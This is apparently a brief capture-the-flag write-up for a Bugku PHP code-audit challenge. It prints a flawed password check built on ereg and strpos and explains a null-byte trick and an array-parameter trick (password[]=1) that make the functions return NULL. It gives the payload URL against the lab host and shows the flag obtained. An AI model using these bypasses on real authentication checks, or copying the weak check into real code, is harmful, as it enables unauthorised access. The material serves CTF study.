Code audit - an array returns NULL bypass

<?php
$flag = "flag";

if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>

 

ereg can be used to cut 00%

strpos truncated with an array, or null

payload

http://123.206.87.240:9009/19.php?password[]=1

PHP language is weak, more sensitive array

Flag: flag{ctf-bugku-ad-2131212}